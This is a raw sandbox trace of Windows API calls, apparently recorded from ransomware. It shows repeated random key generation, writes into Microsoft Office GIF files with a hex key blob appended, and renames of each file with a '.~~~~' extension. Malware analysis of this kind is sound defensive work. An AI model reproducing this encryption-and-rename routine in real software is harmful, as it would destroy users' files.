	[0129.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb69750d0, dwHighDateTime=0x1d60e1e)) 
	[0129.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822108
	[0129.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0129.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822108 | out: hHeap=0x300000) returned 1
	[0129.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0129.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806fc8
	[0129.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838a20
	[0129.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806fc8 | out: hHeap=0x300000) returned 1
	[0129.438] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.439] GetLastError () returned 0x0
	[0129.439] GetLastError () returned 0x0
	[0129.439] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.439] GetLastError () returned 0x0
	[0129.439] GetLastError () returned 0x0
	[0129.440] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.440] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xb1, lpOverlapped=0x0) returned 1
	[0129.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.442] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.442] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.443] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.443] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.443] CloseHandle (hObject=0xc4) returned 1
	[0129.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806fc8
	[0129.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115841.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115841.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115841.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115841.gif.~~~~")) returned 1
	[0129.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806fc8 | out: hHeap=0x300000) returned 1
	[0129.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.449] GetLastError () returned 0x0
	[0129.450] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.452] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.452] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.452] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24944198326) returned 1
	[0129.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb699b230, dwHighDateTime=0x1d60e1e)) 
	[0129.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822140
	[0129.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0129.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822140 | out: hHeap=0x300000) returned 1
	[0129.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0129.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807070
	[0129.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838a20
	[0129.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807070 | out: hHeap=0x300000) returned 1
	[0129.453] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.453] GetLastError () returned 0x0
	[0129.453] GetLastError () returned 0x0
	[0129.453] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.453] GetLastError () returned 0x0
	[0129.453] GetLastError () returned 0x0
	[0129.455] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.455] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xb0, lpOverlapped=0x0) returned 1
	[0129.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.457] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.457] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.458] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.458] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.458] CloseHandle (hObject=0xc4) returned 1
	[0129.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807070
	[0129.458] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115842.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115842.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115842.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115842.gif.~~~~")) returned 1
	[0129.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807070 | out: hHeap=0x300000) returned 1
	[0129.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.461] GetLastError () returned 0x0
	[0129.461] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.462] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.462] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.463] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24945272781) returned 1
	[0129.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb69c1390, dwHighDateTime=0x1d60e1e)) 
	[0129.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822178
	[0129.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0129.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822178 | out: hHeap=0x300000) returned 1
	[0129.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0129.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab810
	[0129.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838a20
	[0129.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab810 | out: hHeap=0x300000) returned 1
	[0129.463] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.464] GetLastError () returned 0x0
	[0129.464] GetLastError () returned 0x0
	[0129.464] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.464] GetLastError () returned 0x0
	[0129.464] GetLastError () returned 0x0
	[0129.465] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.465] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xb0, lpOverlapped=0x0) returned 1
	[0129.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.467] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.467] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.467] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.467] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.467] CloseHandle (hObject=0xc4) returned 1
	[0129.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab810
	[0129.468] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115843.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115843.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115843.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115843.gif.~~~~")) returned 1
	[0129.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab810 | out: hHeap=0x300000) returned 1
	[0129.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.470] GetLastError () returned 0x0
	[0129.470] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.471] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.471] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.471] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24946140001) returned 1
	[0129.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb69c1390, dwHighDateTime=0x1d60e1e)) 
	[0129.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28221b0
	[0129.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0129.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28221b0 | out: hHeap=0x300000) returned 1
	[0129.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0129.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cd708
	[0129.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838a20
	[0129.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd708 | out: hHeap=0x300000) returned 1
	[0129.472] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.472] GetLastError () returned 0x0
	[0129.472] GetLastError () returned 0x0
	[0129.473] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.473] GetLastError () returned 0x0
	[0129.473] GetLastError () returned 0x0
	[0129.474] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.474] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xb0, lpOverlapped=0x0) returned 1
	[0129.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.476] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.476] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.476] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.476] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.476] CloseHandle (hObject=0xc4) returned 1
	[0129.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cd708
	[0129.476] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115844.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115844.gif.~~~~")) returned 1
	[0129.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd708 | out: hHeap=0x300000) returned 1
	[0129.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.479] GetLastError () returned 0x0
	[0129.480] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.481] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.481] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0129.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0129.481] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24947140828) returned 1
	[0129.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb69e74f0, dwHighDateTime=0x1d60e1e)) 
	[0129.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0129.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0129.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0129.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28221e8
	[0129.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0129.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28221e8 | out: hHeap=0x300000) returned 1
	[0129.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0129.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cd7b0
	[0129.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838a20
	[0129.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd7b0 | out: hHeap=0x300000) returned 1
	[0129.482] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.482] GetLastError () returned 0x0
	[0129.483] GetLastError () returned 0x0
	[0129.483] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.483] GetLastError () returned 0x0
	[0129.483] GetLastError () returned 0x0
	[0129.484] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffff13, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.484] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xed, lpOverlapped=0x0) returned 1
	[0129.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.486] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.486] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.486] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.486] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.486] CloseHandle (hObject=0x11c) returned 1
	[0129.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cd7b0
	[0129.487] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115863.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115863.gif.~~~~")) returned 1
	[0129.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd7b0 | out: hHeap=0x300000) returned 1
	[0129.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0129.488] GetLastError () returned 0x0
	[0129.488] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.500] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.500] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
